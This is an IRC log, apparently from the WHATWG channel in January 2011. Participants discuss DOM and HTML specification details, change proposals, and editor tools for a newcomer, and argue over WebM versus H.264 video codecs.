I think what I actually want for my definition is "root node", not "root element".

[13:12:01.0000] <AryehGregor>
Maybe I'll make up a definition.

[13:21:00.0000] <jgraham>
AryehGregor: It is not impossible that the bug you have seen is the one where some argument to a template is not explictly converted to a string

[13:21:01.0000] <jgraham>
This is because the template system is utterly braindead

[13:22:00.0000] <jgraham>
Which is entirely my fault

[13:22:01.0000] <jgraham>
(it is also kind of hard to debug, as you noticed)

[13:22:02.0000] <jgraham>
Of course it might not be that at all

[13:23:00.0000] <TabAtkins>
Yay, I think I've got a pretty good outline going on my blog.

[13:23:01.0000] <annevk>
AryehGregor, Hixie, DOM Core editors expect HTML5 to eventually reference DOM Core for this definition

[13:26:00.0000] <jgraham>
gsnedders: You really should go out with a top hat and cane. Then you can recreate scenes like http://questionablecontent.net/view.php?comic=1425

[14:44:00.0000] <dglazkov>
Hixie: have you visited http://wiki.whatwg.org/wiki/Component_Model_Use_Cases lately? It's all grown up!

[14:44:01.0000] <dglazkov>
Still lots of work to do, but should be more useful than before.

[15:50:00.0000] <Hixie>
dglazkov: interesting

[15:51:00.0000] <Hixie>
in other news, http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129 is down to 11 sections to do remaining


2011-01-15
[16:36:00.0000] <dglazkov>
For your reading pleasure: http://glazkov.com/2011/01/14/what-the-heck-is-shadow-dom/

[17:34:00.0000] <MikeSmith>
http://glazkov.com/2011/01/14/what-the-heck-is-shadow-dom/ is a great writeup

[17:37:00.0000] <beowulf>
http://www.w3.org/html/wg/wiki/ChangeProposals/NoLayoutTable # i don't really care either way about this issue, but these points are, um, stretching the truth a bit

[17:47:00.0000] <TabAtkins>
Hehe, "that magnetic meme duo".

[17:57:00.0000] <MikeSmith>
TabAtkins: yeah, mother effing magic

[17:58:00.0000] <MikeSmith>
gsnedders: you got to ween yourself off of the Nabokov, man

[17:58:01.0000] <MikeSmith>
no good can come of it

[17:59:00.0000] <gsnedders>
MikeSmith: Friend at uni here is doing presentation on Pale Fire next week. So there's an excuse for it :P

[18:00:00.0000] <MikeSmith>
you should go heckle your friend during the presentation

[18:00:01.0000] <TabAtkins>
Holy crap: http://www.steampunkworkshop.com/victorian-all-one-pc

[18:04:00.0000] <pluma>
I expected a difference engine. I'm not impressed.

[18:05:00.0000] <TabAtkins>
Good.  Less competition when I break into his house and steal it.

[18:45:00.0000] <Hixie>
beowulf: what points are stretching the truth?

[19:49:00.0000] <MikeSmith>
gsnedders: "A powerful black-metal alliance announced to fill Europe with a smell of blood and sulphur. The Swedish occultists of WATAIN get prepared for an unholy impact in collaboration with their suicidal brothers of SHINING and AOSOTH."

[19:49:01.0000] <MikeSmith>
"Through this Death Holy Death Tour, these masters of inverted doctrines pull down your good sense in life with some skull-crushing black metallic hymns which will cut into your flesh! With their current release titled “Lawless Darkness”, black metal militia WATAIN have demonstrated that the might of ravenblack spiritual music can abduct the listener into a kingdom of eternal darkness." Get afraid of the darkest assault of the 

[20:27:00.0000] <Hixie>
TabAtkins: ok i filled in what we talked about (and some other stuff) http://www.w3.org/html/wg/wiki/ChangeProposals/NoLayoutTable

[00:57:00.0000] <annevk>
Philip`, see pm

[01:03:00.0000] <hsivonen>
hmm. jd seems to be unhappy about Mozilla "expanding scope" to video: http://blogs.adobe.com/jd/2011/01/video-debate-cutting-to-the-chase.html

[01:15:00.0000] <hsivonen>
Hixie: avoiding undermining a decade of "stay the course" advocacy didn't deter you from not calling text/html XHTML and from obsoleting longdesc.

[01:15:01.0000] <hsivonen>
Hixie: why is it now an argument for staying the course with layout table propaganda?

[01:17:00.0000] <hsivonen>
Hixie: the UI of valitor.nu uses tables for aligning UI widgets but undoes the table display on narrow view ports using media queries, so the media query rationale isn't strong, either

[01:17:01.0000] <hsivonen>
*validator.nu

[01:18:00.0000] <hsivonen>
all in all, I think the ISSUE 130 counter-CP is rather weak in its argumentation

[01:50:00.0000] <annevk>
dglazkov?

[01:50:01.0000] <annevk>
hmm

[01:50:02.0000] <annevk>
"pseudo attribute" link is broken

[01:53:00.0000] <annevk>
krijnh, hahaha, meer twittergedichten graag

[02:39:00.0000] <annevk>
fyi, for everyone with a html5.org account, it's prolly a good idea to change passwords and check files

[03:38:00.0000] <krijnh>
There, the irc-logs for 2010 are closed, no more important line flagging

[05:17:00.0000] <jacobolus>
anyone know if in safari there's a keyboard shortcut for clicking a link that I currently have some text selected in? IIRC I could do that in Camino a few years ago, using enter or something: helpful when doing a search within the page

[05:18:00.0000] <jacobolus>
TabAtkins: sorry to be so slow at it, but I'm actually plugging away at the "perceptual attributes" gradient editor thing mentioned a month ago -- one of those bit-by-bit sort of projects. I have CIECAM02 implemented in JS in forward/reverse directions, and have started the code for graphing the values of J (lightness) C (chroma) h (hue) along a gradient

[05:21:00.0000] <jacobolus>
also, people on www-style don't seem to understand premultiplied alpha very well

[05:41:00.0000] <Evet>
do you know a common equivalent of XUL?

[07:15:00.0000] <Ms2ger>
Hmm, I get an email about rel=up and Thunderbird thinks it's spam. I wonder why that is

[10:01:00.0000] <dglazkov>
annevk: thanks for pointing out the URL type

[10:01:01.0000] <dglazkov>
tyope

[10:01:02.0000] <dglazkov>
arg

[10:01:03.0000] <dglazkov>
typo

[10:01:04.0000] <dglazkov>
:)

[10:02:00.0000] <annevk>
heh, good to know you read the logs

[10:05:00.0000] <dglazkov>
I usually don't, but I started seeing them in referrals

[10:06:00.0000] <krijnh>
Yes! Finally my name is in his referrals \o/

[10:09:00.0000] <dglazkov>
whoa. you're a real person?

[10:10:00.0000] <krijnh>
Of course

[10:10:01.0000] <Philip`>
He is a construct of the cabal

[10:10:02.0000] <krijnh>
The backbone actually! ;)

[10:11:00.0000] <Dashiva>
He's represents the proletariat that carries the rest of us on their backs

[10:11:01.0000] <Dashiva>
-'s

[10:14:00.0000] <dglazkov>
I always assumed you're some Hixie's imaginary moniker, like, well, hixie or damowmow

[10:14:01.0000] <Dashiva>
Blasphemy, Hixie is his True Name

[10:15:00.0000] <dglazkov>
oh. Then apparently I know nothing about this world.

[10:15:01.0000] <krijnh>
-_-

[10:16:00.0000] <Dashiva>
I made a user script to create next/prev buttons, krijnh

[10:16:01.0000] <Dashiva>
So now I won't bug you anymore

[10:16:02.0000] <krijnh>
You bugged me?

[10:16:03.0000] <krijnh>
Hm

[10:18:00.0000] <Ms2ger>
Share!

[10:21:00.0000] <bga_>
omg https://developer.mozilla.org/en/using_files_from_web_applications#Using_hidden_file_input_elements_using_the_click%28%29_method

[10:21:01.0000] <bga_>
IE backs

[13:30:00.0000] <sephr>
Why can't you adopt doctypes from a clone of the current document view into the current document view? This code fails: var doc = document.cloneNode(true); /*remove all children from document...*/ document.adoptNode(doc.doctype)

[13:30:01.0000] <sephr>
document.adoptNode(doc.documentElement) works fine though

[13:31:00.0000] <sephr>
(you can try that in any non-webkit browser including IE9)

[13:32:00.0000] <sephr>
also, shouldn't using the document.styleSheets API trigger mutation events?

[13:42:00.0000] <tmzt>
anybody know what a <require> tag might look like? a <script> that doesn't pollute the global namespace?

[15:39:00.0000] <Hixie_>
hsivonen: longdesc advocacy never had any traction. I'm not sure what you mean by the "calling text/html XHTML" thing, there was serious advocacy on both sides of that (including from me for years before whatwg!) so I don't think the same situation applies.

[15:39:01.0000] <Hixie_>
hsivonen: why it's an orgument, and has been an argument, is listed in the rest of the CCP

[15:44:00.0000] <Hixie>
http://blogs.adobe.com/jd/2011/01/video-debate-cutting-to-the-chase.html would have more credibility (complaining about HTML design) if Adobe and j/d in particular actually ever sent real feedback on HTML

[15:45:00.0000] <Hixie>
sephr: adoptNode() is going away

[15:45:01.0000] <sephr>
Hixie: then how will I adopt nodes?

[15:45:02.0000] <sephr>
it'll be automatic?

[15:45:03.0000] <Hixie>
yeah

[15:45:04.0000] <sephr>
cool

[15:45:05.0000] <Hixie>
already is in many browsers

[15:45:06.0000] <sephr>
well my problem is still present if I skip adoptnode

[15:46:00.0000] <Hixie>
yeah the problem is probably more specific to DocType nodes

[15:46:01.0000] <sephr>
why can't you insert a doctype from another document into another document?

[15:46:02.0000] <Hixie>
dunno

[15:46:03.0000] <sephr>
nobody knows :/

[15:46:04.0000] <Hixie>
ms2ger might be able to tell you

[15:46:05.0000] <sephr>
yet it's consistant with EVERY browser

[15:46:06.0000] <Hixie>
but he ain't here :-)

[15:46:07.0000] <Hixie>
maybe you can't remove a doctype once it's in a doc?

[15:46:08.0000] <Hixie>
try cloning the doctype itself

[15:46:09.0000] <sephr>
Hixie: I can /remove/ the doctype fine

[15:47:00.0000] <sephr>
and yeah I've clone the doctype itself

[15:47:01.0000] <sephr>
the problem has to do with separate views

[15:47:02.0000] <sephr>
I mean separate document views

[15:47:03.0000] <sephr>
and moving their doctypes to other document views

[15:47:04.0000] <Hixie>
document views?

[15:47:05.0000] <sephr>
Documents

[15:47:06.0000] <sephr>
DocumentViews

[15:47:07.0000] <sephr>
same thing

[15:48:00.0000] <sephr>
oh and could you help with my second question?

[15:48:01.0000] <sephr>
should stylesheet.insertRule('x{}', stylesheet.cssRules.length); trigger a DOM mutation event?

[15:48:02.0000] <sephr>
assuming the stylesheet is in the document

[15:49:00.0000] <sephr>
Hixie


2011-01-16
[16:04:00.0000] <Hixie>
sephr: sorry, was afk

[16:05:00.0000] <sephr>
sure

[16:05:01.0000] <Hixie>
sephr: DocumentView is going away altogether, and nobody really implements it, not sure what you mean by that

[16:05:02.0000] <sephr>
mozilla implements it...

[16:05:03.0000] <Hixie>
not really

[16:05:04.0000] <sephr>
yeah I know

[16:05:05.0000] <sephr>
but at least it exists

[16:05:06.0000] <sephr>
Hixie: is AbstractView going away too? I would hope for the opposite

[16:05:07.0000] <Hixie>
re the mutation event thing, yeah, i guess it should, at least assuming textContent changes... does it?

[16:05:08.0000] <sephr>
for Window to go away

[16:05:09.0000] <sephr>
Window is a terrible abstraction

[16:06:00.0000] <Hixie>
AbstractView is meing merged into Window and DocumentView into Document.

[16:06:01.0000] <sephr>
so DocumentView will === Document?

[16:06:02.0000] <sephr>
I hope that's how it ends up

[16:06:03.0000] <Hixie>
DocumentView won't exist, the stuff that's on it today will be on Document

[16:06:04.0000] <sephr>
will AbstractView === Window at least?

[16:07:00.0000] <sephr>
AbstractView is much much more appropriately named

[16:07:01.0000] <sephr>
than Window

[16:07:02.0000] <Hixie>
AbstractView will similarly not exist and its stuff will be moved to Window

[16:07:03.0000] <sephr>
I would prefer if it was named View even

[16:07:04.0000] <sephr>
:(

[16:07:05.0000] <Hixie>
we can't change this stuff, there's billions of documents that depend on it

[16:07:06.0000] <sephr>
has anyone ever raised the suggestion of just making both of them "View"

[16:07:07.0000] <Hixie>
what's the benefit of doing that?

[16:07:08.0000] <sephr>
yeah, but there can be aliases

[16:07:09.0000] <sephr>
Hixie: it sounds more appropriate

[16:07:10.0000] <Hixie>
aliases add no features and increase bugs

[16:07:11.0000] <AryehGregor>
Then it's even more confusing.

[16:08:00.0000] <sephr>
well "Window" existing is a bug imo

[16:08:01.0000] <AryehGregor>
You have two different names but they actually secretly refer to the same thing.

[16:08:02.0000] <sephr>
and there's a window variable but not a "view" variable

[16:08:03.0000] <sephr>
crazy

[16:08:04.0000] <Hixie>
by 'bug' i mean something that acts differently in different browsers

[16:08:05.0000] <sephr>
(though I know "self" is sorta appropriate)

[16:08:06.0000] <Hixie>
if you want to use View, just put View = Window at the top of your code :-)

[16:09:00.0000] <sephr>
Hixie: what about making a view variable? the w3c seems fine with tons of variables that all are the view

[16:09:01.0000] <sephr>
self, document.defaultView, window, ...

[16:10:00.0000] <sephr>
oh I got sidetracked

[16:10:01.0000] <sephr>
my question was about mutation events from DOM Style changes

[16:10:02.0000] <sephr>
"should stylesheet.insertRule('x{}', stylesheet.cssRules.length); trigger a DOM mutation event?"

[16:11:00.0000] <sephr>
assuming stylesheet is just some stylesheet from document.styleSheets

[16:11:01.0000] <Hixie>
we already have like fifteen aliases for window, let's not add more... it really won't help anything. If you need an alias, just say view = window at the top of your code.

[16:11:02.0000] <Hixie>
like i said, aliases add no features and add bugs, so we don't do them generally

[16:13:00.0000] <sephr>
Hixie: alright, sure

[16:18:00.0000] <sephr>
Hixie: missed my other question?

[16:19:00.0000] <Hixie>
<Hixie> re the mutation event thing, yeah, i guess it should, at least assuming textContent changes... does it?

[16:19:01.0000] <sephr>
oh yeah

[16:20:00.0000] <sephr>
didn't see that

[16:20:01.0000] <sephr>
well textcontent doesn't change, but it should, shouldn't it?

[16:20:02.0000] <Hixie>
i dunno, what does the spec for insertRule say?

[16:21:00.0000] <sephr>
Hixie: while I look that up, should someElement.style.color="red"; trigger it at least?

[16:21:01.0000] <sephr>
because I can't get any browsers firing it from that either

[16:23:00.0000] <Hixie>
i dunno, does it change the content attribute's value?

[16:24:00.0000] <sephr>
Hixie: yes

[16:24:01.0000] <sephr>
and the insertRule spec is way too vague

[16:25:00.0000] <sephr>
it doesn't mention anything about the resulting DOM tree changes

[16:26:00.0000] <Hixie>
if the attribute's value changes, then an attribute mutation event should presumably fire

[16:26:01.0000] <Hixie>
so i expect in practice most UAs jsut serialise the attribute on the fly

[16:26:02.0000] <Hixie>
and there isn't really a content attribute

[16:26:03.0000] <Hixie>
re insertRule, is the spec vague, or does it just not mention it because it doesn't apply?

[16:26:04.0000] <Hixie>
if it's vague, file a bug

[16:28:00.0000] <sephr>
Hixie: it applies, but it's not mentioned almost anywhere in the entire DOM Level 2 Style spec

[16:28:01.0000] <sephr>
nodes are only referenced when talking about the owner node of a stylesheet

[16:28:02.0000] <sephr>
and what to do if said node is removed from a document

[16:36:00.0000] <Hixie>
my guess is that it actually doesn't apply, and that insertRule just changes the internal representation, not the DOM

[16:36:01.0000] <Hixie>
but anne would know better

[16:42:00.0000] <sephr>
k, thanks. I'll memoserv [her]?

[16:59:00.0000] <Hixie>
him

[17:04:00.0000] <sephr>
Hixie: too late, heh

[17:04:01.0000] <sephr>
I guess he's afk

[19:34:00.0000] <Hixie>
so generally, the scope of an ISSUE in the HTMLWG is the change requested in the bug that was escalated for that issue, right?

[19:35:00.0000] <Hixie>
so what's the scope for an issue that is escalated in response to a bug that was fixed?

[21:54:00.0000] <erlehmann>
i want a html5 imageboard. with <audio> and <video>, <canvas> and localstorage.

[21:54:01.0000] <erlehmann>
WHO IS WITH ME.

[21:55:00.0000] <Hixie>
imageboard?

[21:55:01.0000] <Hixie>
oh like 4chan and so on?

[21:55:02.0000] <erlehmann>
yep.

[21:55:03.0000] <Hixie>
i never understood the attraction of hosting what are essentially mailing lists over HTTP.

[21:55:04.0000] <Hixie>
but knock yourself out :-)

[21:56:00.0000] <erlehmann>
mailing lists are serious business, almost by definition. and personalized. isn't easy to mail anonymous.

[21:56:01.0000] <erlehmann>
but the barrier to entry is low on web forms. (web forms 1.0, ha ha ha)

[21:57:00.0000] <Hixie>
(that's why we called it web forms 2 :-) )

[21:57:01.0000] <Hixie>
e-mail is incredibly easy to make anonymous

[21:57:02.0000] <Hixie>
the underlying protocols have basically no authentication at all

[21:57:03.0000] <Hixie>
same with USENET

[21:58:00.0000] <erlehmann>
i met moot in 2009 at a conference. he said he wasn't so impressed about HTML5, but it might be a boon to YTMND, looping sounds without flash.

[21:58:01.0000] <Hixie>
makes sense

[21:58:02.0000] <erlehmann>
i am amazed i have not yet encountered a HTML5 based shock site. that would be awful.

[21:59:00.0000] <Hixie>
i never understood the people who are "impressed" by "html5"

[21:59:01.0000] <Hixie>
i mean, we're just continuing to evolve html

[21:59:02.0000] <erlehmann>
and work on iphones, hehe

[21:59:03.0000] <Hixie>
evolution is rarely impressive

[21:59:04.0000] <erlehmann>
well, like other imageboard people, the focus is on text and images. even canvas isn't something they are going to use soon.

[22:00:00.0000] <Hixie>
sure, why would they?

[22:00:01.0000] <erlehmann>
dunno, instant image macro creation?

[22:00:02.0000] <Hixie>
that'd be like an e-mail client or NNTP client having a built-in image editor, it'd be a bit weird

[22:00:03.0000] <Hixie>
*shrug*

[22:01:00.0000] <erlehmann>
hmm, for limited actions this is actually done. on iOS for example, images can be scaled before sending. useful, if you ask me (receiver of those mails)

[22:03:00.0000] <erlehmann>
but now that i think about it, i might just write a greasemonkey script for inline macro creation. yay for customilazipbilt- you know what i mean to mean.

[22:21:00.0000] <Hixie>
down to six things to fill in for -129

[22:21:01.0000] <Hixie>
erlehmann: i guess

[22:21:02.0000] <Hixie>
(re e-mail clients)

[22:21:03.0000] <erlehmann>
ah.

[22:37:00.0000] <Hixie>
wtf? despite escalating http://www.w3.org/Bugs/Public/show_bug.cgi?id=10493, the CP for the resulting issue actually does what I did in the spec in response to that bug...

[22:44:00.0000] <Hixie>
four things.

[22:45:00.0000] <Hixie>
anyone want to take a crack at explaining why allowing <h1 role=checkbox> is bogus? I'm getting tired of doing this :-)

[22:47:00.0000] <erlehmann>
wat

[22:50:00.0000] <erlehmann>
haha, the url is broken because of the appended comma. automagic linking hates your guts.

[22:50:01.0000] <Hixie>
or maybe your irc client is broken :-)

[22:59:00.0000] <erlehmann>
Hixie, i think comma is not an unsafe character, but rather a special one. it can occur unencoded.

[23:41:00.0000] <Hixie>
erlehmann: well my terminal client doesn't select the comma, so from a user perspective...

[23:42:00.0000] <Hixie>
ok, only one thing left on the CCP, the <h1 role=checkbox> bogosity thing.

[23:42:01.0000] <Hixie>
if anyone wants to fill that in while i'm sleeping, be my guest.

[23:42:02.0000] <Hixie>
http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129

[23:43:00.0000] <erlehmann>
Hixie, xchat does and i believe it is correct … for now ;)

[23:43:01.0000] <erlehmann>
/me hopes Hixie is not the editor of the URL spec :D

[23:43:02.0000] <Hixie>
not currently

[23:44:00.0000] <erlehmann>
as in “not yet”, harr harr

[23:48:00.0000] <Evet>
could you recommend a RIA IDE?

[00:35:00.0000] <Oddant>
Hi

[00:36:00.0000] <Oddant>
what's the best way to create a website ? dreamweaver, classic enhanced notepads, cms ?

[00:39:00.0000] <erlehmann>
Oddant, depends on your skillset and the the complexity of the issue at hand.

[00:40:00.0000] <erlehmann>
for example, i have written small web pages in appropriate text editors, but also used wordpress. currently i am programming a web app in python.

[00:40:01.0000] <erlehmann>
i would advise you to stay clear of dreamweaver or notepad derivates. there are much better editors out there.

[00:41:00.0000] <erlehmann>
Oddant, if you found this IRC channel, maybe getting a text editor with HTML synthax highlighting and starting to code it by hand is not the worst idea, if it is not exceedingly complex.

[00:44:00.0000] <erlehmann>
as a text editor, i'd recommend geany <http://www.geany.org/> if you need a GUI editor or nano <http://www.nano-editor.org/> if you need a CLI editor.

[00:44:01.0000] <erlehmann>
also, ask other people. i might be wrong on this issue.

[00:48:00.0000] <erlehmann>
Oddant, before you start, however, keep in mind that although fun and learning are the primary goals of all Enrichment Center activities, serious injuries may occur. For your own safety and the safety of others, please refrain from [static noise]

[00:53:00.0000] <erlehmann>
*** Please be advised that a noticeable taste of blood is not part of any HTML specification, but is an unintended side effect of the WHATWG Parser Material Emancipation Grid, which may, in semi-rare cases, emancipate XML namespaces, bogus comments and fingertips. ***

[00:54:00.0000] <erlehmann>
The WHATWG reminds you that the HTML5lib Companion Serializer will never threaten to stab you and, in fact, cannot speak.

[00:54:01.0000] <erlehmann>
:D

[00:58:00.0000] <Oddant>
thanks erlehmann

[00:59:00.0000] <erlehmann>
:)

[00:59:01.0000] <Oddant>
I'm french then I struggle to understand the whole

[00:59:02.0000] <Oddant>
but get the primary idea

[00:59:03.0000] <erlehmann>
Oddant, oh. that last thing was supposed to be a joke.

[00:59:04.0000] <Oddant>
ha ?

[01:00:00.0000] <erlehmann>
Oddant, about the safety issues ;)

[01:00:01.0000] <erlehmann>
Oddant, what operating system aro

[01:00:02.0000] <erlehmann>
e you on?

[01:01:00.0000] <erlehmann>
also, do you plan to learn HTML? or do you just want to create a web site? if the latter, just use a simple popular CMS, like wordpress.

[01:01:01.0000] <Oddant>
i'm using both

[01:01:02.0000] <Oddant>
window and linux

[01:02:00.0000] <Oddant>
but hey

[01:02:01.0000] <Oddant>
i already know html syntax

[01:02:02.0000] <Oddant>
moreover html5

[01:03:00.0000] <erlehmann>
Oddant, this might help with html5: <http://diveintohtml5.org/>

[01:04:00.0000] <Oddant>
hey nice website erlehmann

[01:04:01.0000] <Oddant>
thanks

[01:04:02.0000] <Oddant>
love the style

[01:07:00.0000] <erlehmann>
this link is especially funny http://1997.webhistory.org/www.lists/www-talk.1993q1/0198.html

[01:07:01.0000] <erlehmann>
Jay C. Weber imagined the audio element, hehehe

[01:09:00.0000] <Oddant>
:

[01:09:01.0000] <Oddant>
:D

[01:10:00.0000] <Oddant>
this would be great

[01:13:00.0000] <Oddant>
hey erlehmann

[01:13:01.0000] <Oddant>
are you still here ?

[01:13:02.0000] <erlehmann>
Oddant, still alive.

[01:14:00.0000] <Oddant>
i've got some questions to ask

[01:14:01.0000] <Oddant>
ok let's assume i plan to build a website a to z

[01:15:00.0000] <Oddant>
i write my index page

[01:15:01.0000] <Oddant>
all the tags that constructs my page

[01:15:02.0000] <Oddant>
and after that

[01:15:03.0000] <Oddant>
i need to get into my css stylesheet

[01:16:00.0000] <Oddant>
ok generally when i reach that level i'm already lost into work

[01:16:01.0000] <Oddant>
i mean i never know where to begin the design of my page

[01:16:02.0000] <Oddant>
layouts ok !

[01:16:03.0000] <Oddant>
but the common style

[01:16:04.0000] <Oddant>
like body elements, link

[01:17:00.0000] <Oddant>
and i'm not talking about converting the new html5 elements into block display

[01:17:01.0000] <Oddant>
it's hell to build a website :-|

[01:18:00.0000] <Oddant>
then I was wondering maybe it could be a little better to use softwares like dreamweaver

[01:18:01.0000] <Oddant>
but i'm not sure about it since i've been told it's easier to make websites with but the code isn't neat, etc..

[01:20:00.0000] <Oddant>
what's your thoughts ?

[01:26:00.0000] <erlehmann>
Oddant, try to map out beforehand how your site is going to be structured. what is your specific problem area, building a stylesheet?

[01:27:00.0000] <erlehmann>
you may use firebug to experiment with styling then: <http://getfirebug.com/>

[01:27:01.0000] <Oddant>
kind of yes

[01:28:00.0000] <Oddant>
but my primary issue is I never find the time to dive into a project for I feel like I want to build a bunch of websites

[01:28:01.0000] <Oddant>
:D

[01:29:00.0000] <Oddant>
also I all the time dive into projects on my very own

[01:30:00.0000] <erlehmann>
Oddant, if you *do not have time*, just use a popular CMS, like wordpress: <http://wordpress.org/>

[01:30:01.0000] <Oddant>
i'd like to find people out to get into some projects

[01:30:02.0000] <Oddant>
would be the cool

[01:30:03.0000] <erlehmann>
however, if you want to learn, use aforementioned tools.

[01:30:04.0000] <Oddant>
what does aforementioned tools mean ?

[01:31:00.0000] <Oddant>
can you type some examples ?

[01:31:01.0000] <Oddant>
i'm using notepad++

[01:32:00.0000] <erlehmann>
examples of what?

[01:32:01.0000] <Oddant>
of aforementioned tools ?

[01:32:02.0000] <erlehmann>
geany or nano. also firebug.

[01:33:00.0000] <Oddant>
oh yes

[01:33:01.0000] <Oddant>
ok

[01:33:02.0000] <Oddant>
thanks

[01:33:03.0000] <Oddant>
i'm going to be a few nosey

[01:33:04.0000] <Oddant>
but could you share your websites if you've got

[01:33:05.0000] <Oddant>
?

[01:44:00.0000] <erlehmann>
Oddant, i made this stylesheet. put on anaglyph glasses! blog.fefe.de/?css=http://daten.dieweltistgarnichtso.net/src/fefe-anaglyph-css/anaglyph.css

[02:24:00.0000] <annevk>
I am looking for a somewhat decent graphics editor for Mac OS X

[02:24:01.0000] <annevk>
Anyone experience with http://www.pixelmator.com/ ?

[02:24:02.0000] <annevk>
It looks quite decent

[02:26:00.0000] <erlehmann>
annevk, vector or pixel graphics?

[02:26:01.0000] <annevk>
It also seems to be focused primarily on photos... Or is that just heavy marketing of the majority use case?

[02:27:00.0000] <Rik`>
it's a simple/macos-y photoshop

[02:27:01.0000] <annevk>
Pixels :)

[02:27:02.0000] <annevk>
Though if you know a good vector graphics editor, let me know!

[02:28:00.0000] <erlehmann>
i use inkscape. gimp for pixel graphics, but when do i need to do that?

[02:28:01.0000] <annevk>
Rik`, I never used Photoshop. I did use Macromedia Fireworks long ago

[02:29:00.0000] <micheil>
annevk: hicksdesign had a good comparison of the os x editors

[02:29:01.0000] <annevk>
I have used GIMP on Ubuntu, but did not really like it

[02:29:02.0000] <Rik`>
and on mac os, gimp and inkscape need X11 so…

[02:30:00.0000] <erlehmann>
i use gimp for scaling and cropping photos occasionally. nothing more, haha.

[02:36:00.0000] <annevk>
micheil, http://hicksdesign.co.uk/journal/fireworks-alternatives-on-trial-acorn-drawit-and-opacity ?

[02:36:01.0000] <micheil_mbp>
i think so

[02:36:02.0000] <micheil_mbp>
/me is on a mobile connection, hence the dropouts

[03:22:00.0000] <stvs>
what do you guys think of the recent happenings with Google and H.264 support in Chrome, and so on?

[03:28:00.0000] <annevk>
plenty of discussion in the logs

[03:29:00.0000] <stvs>
annevk, what is the bird's eye view from #whatwg on the situation?

[03:31:00.0000] <annevk>
video codecs suck?

[03:31:01.0000] <stvs>
I was hoping for something more informative and/or insightful?

[03:31:02.0000] <annevk>
http://annevankesteren.nl/2011/01/why-webm has some info

[03:31:03.0000] <Dashiva>
There are a lot of big ifs

[03:32:00.0000] <annevk>
I think in general people here are in favor of a codec that is not encumbered with patents -- i.e. WebM

[03:32:01.0000] <stvs>
annevk, the title of this article shows bias

[03:32:02.0000] <annevk>
but yeah, there's ifs

[03:32:03.0000] <stvs>
I don't need to be told why "the web needs WebM" - we all know the talking points

[03:32:04.0000] <annevk>
ah well, then I am not sure what you are looking for

[03:33:00.0000] <stvs>
A neutral argumented opinion :)

[03:33:01.0000] <annevk>
good luck with that

[03:33:02.0000] <stvs>
You know the X264 core dev called VP8 "basically H.264 baseline profile with a better entropy encoder"

[03:33:03.0000] <stvs>
He says it's insane to think that VP8 is not stepping on H264's patents

[03:34:00.0000] <Dashiva>
Patents are for patent lawyers to handle

[03:34:01.0000] <stvs>
It also managed to be about 25% slower

[03:34:02.0000] <annevk>
stvs, he is obviously not biased

[03:34:03.0000] <stvs>
Dashiva, if they are, why are we not uasing H.264

[03:34:04.0000] <Dashiva>
Because the patent lawyers already wrangled h264

[03:35:00.0000] <stvs>
annevk, he's not biased because he's under heat from MPEG LA for his work himself

[03:35:01.0000] <stvs>
annevk, but facts are facts.

[03:35:02.0000] <stvs>
annevk, in fact he implemented a VP8 decoder with H.264's code

[03:36:00.0000] <stvs>
Adding just a few kb for the vp8 specific parts

[03:36:01.0000] <stvs>
That should tell you enough

[03:36:02.0000] <Peter`>
I'm sure Google had lawyers all over VP8 before they bought the IP

[03:36:03.0000] <annevk>
stvs, I know that; I would still say he is biased

[03:36:04.0000] <stvs>
Peter`, just like they had it over Android's Java knockoff? And then Oracle sued them.

[03:37:00.0000] <Peter`>
Yes, but that's Google's problem, not ours

[03:37:01.0000] <stvs>
Peter`, I'm not sure how good Google's lawyers are with reading C code of video codecs

[03:37:02.0000] <stvs>
Peter`, it is, because people give poorly argumented opinions in favor of WebM

[03:37:03.0000] <Dashiva>
stvs: Filing a suit is not the same as actually winning a suit

[03:37:04.0000] <Peter`>
I'm fairly sure they're way more thorough than a large part of the web developers combined

[03:37:05.0000] <stvs>
because it sounds "openish"

[03:37:06.0000] <stvs>
Dashiva, oh they'll win

[03:37:07.0000] <stvs>
Dashiva, or settle

[03:37:08.0000] <stvs>
I mean Oracle will.

[03:38:00.0000] <Dashiva>
Clearly we can just shut down the justice system and let you decide everything

[03:38:01.0000] <Peter`>
Fortunately you're not being biased yourself as well, stvs :-)

[03:38:02.0000] <Rik`>
stvs: to me it breaks down to Firefox and Opera won't implement H.264 so we need something else

[03:38:03.0000] <stvs>
Dashiva, let's say I'm about 85% sure they'll win or settle in favor of Oracle.

[03:38:04.0000] <annevk>
did you just join this channel so you could rant?

[03:39:00.0000] <stvs>
Rik`, Opera and Firefox could've stuck to the OS for providing the H.264 decoder. Included with every copy of OSX and Windows.

[03:39:01.0000] <stvs>
And Linux doesn't give a damn about licenses, they have x264

[03:39:02.0000] <annevk>
or maybe tell us how the world works?

[03:39:03.0000] <Peter`>
The web needs one common codec and it's not going to be H.264. I don't really care if it's WebM, Theora or whatever other codec, but pushing WebM more strongly is a step forward from where we are now.

[03:40:00.0000] <annevk>
If we would have suck to the OS it would not have been cross-platform

[03:40:01.0000] <annevk>
stuck*

[03:40:02.0000] <annevk>
that would not have been an improvement over the status quo imo

[03:40:03.0000] <annevk>
just replacing one problem with another

[03:40:04.0000] <Rik`>
"Linux doesn't give a damn about licenses", that's a very unbiased statement…

[03:41:00.0000] <stvs>
annevk, user software always relies on the OS API-s for basically everything. How are codecs different

[03:41:01.0000] <stvs>
Rik`, I'm saying they use x264, despite not possibly having a valid H.264 license.

[03:41:02.0000] <Rik`>
stvs: Win XP is not coming with H.264 codecs

[03:41:03.0000] <stvs>
You're welcome to make it sound better Rik`

[03:41:04.0000] <annevk>
browsers are quite independent from the OS

[03:42:00.0000] <annevk>
that's e.g. what makes projects like Chromium OS possible

[03:42:01.0000] <stvs>
Chrome OS is Linux based annevk.

[03:42:02.0000] <Rik`>
stvs: x264 is legal in a large part of the world (not in the US of course)

[03:42:03.0000] <annevk>
and certainly when it comes to page rendering the only external running code has been plugins

[03:42:04.0000] <stvs>
Rik`, yes, indeed.

[03:42:05.0000] <annevk>
until video came along

[03:43:00.0000] <stvs>
annevk, that's really inaccurate.

[03:43:01.0000] <annevk>
stvs, sure, some amount of Linux code for hardware bindings

[03:43:02.0000] <stvs>
Yes

[03:44:00.0000] <stvs>
And for the user environment and APIs

[03:44:01.0000] <annevk>
stvs, inaccurate in what way? you mean that at some point you get OS-level calls?

[03:44:02.0000] <stvs>
And file system and kernel and so on.

[03:44:03.0000] <stvs>
It's Linux with Chrome on top and a custom shell.

[03:44:04.0000] <stvs>
That's Chrome OS

[03:44:05.0000] <Peter`>
